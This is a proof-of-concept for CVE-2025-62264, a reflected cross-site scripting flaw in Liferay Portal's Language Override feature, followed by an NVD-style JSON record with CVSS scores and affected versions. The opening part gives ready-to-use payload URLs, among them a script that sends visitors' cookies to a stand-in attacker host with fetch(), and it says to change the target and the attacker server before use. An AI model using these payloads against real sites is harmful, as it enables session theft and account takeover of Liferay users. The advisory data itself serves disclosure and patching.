CVE-2025-62264

<!-- CVE-2025-62264 PoC - Reflected XSS in Liferay Portal --> <!-- Target: Liferay Portal Language Override Feature --> <!-- Affected Parameter: _com_liferay_portal_language_override_web_internal_portlet_PLOPortlet_selectedLanguageId --> <!-- Basic PoC - Steal cookies --> https://target-liferay.com/web/guest/home?p_p_id=PLOPortlet&p_p_lifecycle=0&p_p_state=normal&p_p_mode=view&_com_liferay_portal_language_override_web_internal_portlet_PLOPortlet_selectedLanguageId="><script>alert(document.cookie)</script> <!-- Advanced PoC - Cookie Theft with exfiltration --> <!-- Note: Modify the URL and attacker-controlled server before use --> const pocUrl = 'https://target-liferay.com/web/guest/home?p_p_id=PLOPortlet&p_p_lifecycle=0&p_p_state=normal&p_p_mode=view&_com_liferay_portal_language_override_web_internal_portlet_PLOPortlet_selectedLanguageId="><script>fetch("https://attacker.com/steal?c="+btoa(document.cookie))</script>'; <!-- HTML Injection variant --> https://target-liferay.com/web/guest/home?p_p_id=PLOPortlet&p_p_lifecycle=0&p_p_state=normal&p_p_mode=view&_com_liferay_portal_language_override_web_internal_portlet_PLOPortlet_selectedLanguageId="><img src=x onerror="alert('XSS Triggered')">

{"cve": {"id": "CVE-2025-62264", "sourceIdentifier": "[email protected]", "published": "2025-10-31T18:15:33.553", "lastModified": "2025-11-10T17:11:02.387", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Reflected cross-site scripting (XSS) vulnerability in Languauge Override in Liferay Portal 7.4.3.8 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.Q4.10, 2023.Q3.1 through 2023.Q3.10, and 7.4 update 4 through update 92 allows remote attackers to inject arbitrary web script or HTML via the `_com_liferay_portal_language_override_web_internal_portlet_PLOPortlet_selectedLanguageId` parameter."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update10:*:*:*:*:*:*", "matchCriteriaId": "C7B02106-D5EA-4A59-A959-CCE2AC8F55BC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update11:*:*:*:*:*:*", "matchCriteriaId": "80204464-5DC5-4A52-B844-C833A96E6BD4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update12:*:*:*:*:*:*", "matchCriteriaId": "6F8A5D02-0B45-4DA9-ACD8-42C1BFF62827"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update13:*:*:*:*:*:*", "matchCriteriaId": "38DA7C99-AC2C-4B9A-B611-4697159E1D79"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update14:*:*:*:*:*:*", "matchCriteriaId": "F264AD07-D105-4F00-8920-6D8146E4FA63"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update15:*:*:*:*:*:*", "matchCriteriaId": "C929CF16-4725-492A-872B-0928FE388FC9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update16:*:*:*:*:*:*", "matchCriteriaId": "1B8750A1-E481-48D4-84F4-97D1ABE15B46"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update17:*:*:*:*:*:*", "matchCriteriaId": "454F8410-D9AC-481E-841C-60F0DF2CC25E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update18:*:*:*:*:*:*", "matchCriteriaId": "D1A442EE-460F-4823-B9EF-4421050F0847"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update19:*:*:*:*:*:*", "matchCriteriaId": "608B205D-0B79-4D1C-B2C1-64C31DB1896E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update20:*:*:*:*:*:*", "matchCriteriaId": "4427DC78-E80C-4057-A295-B0731437A99E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update21:*:*:*:*:*:*", "matchCriteriaId": "22B6B8C1-1FF3-41BC-9576-16193AE20CC7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update22:*:*:*:*:*:*", ... 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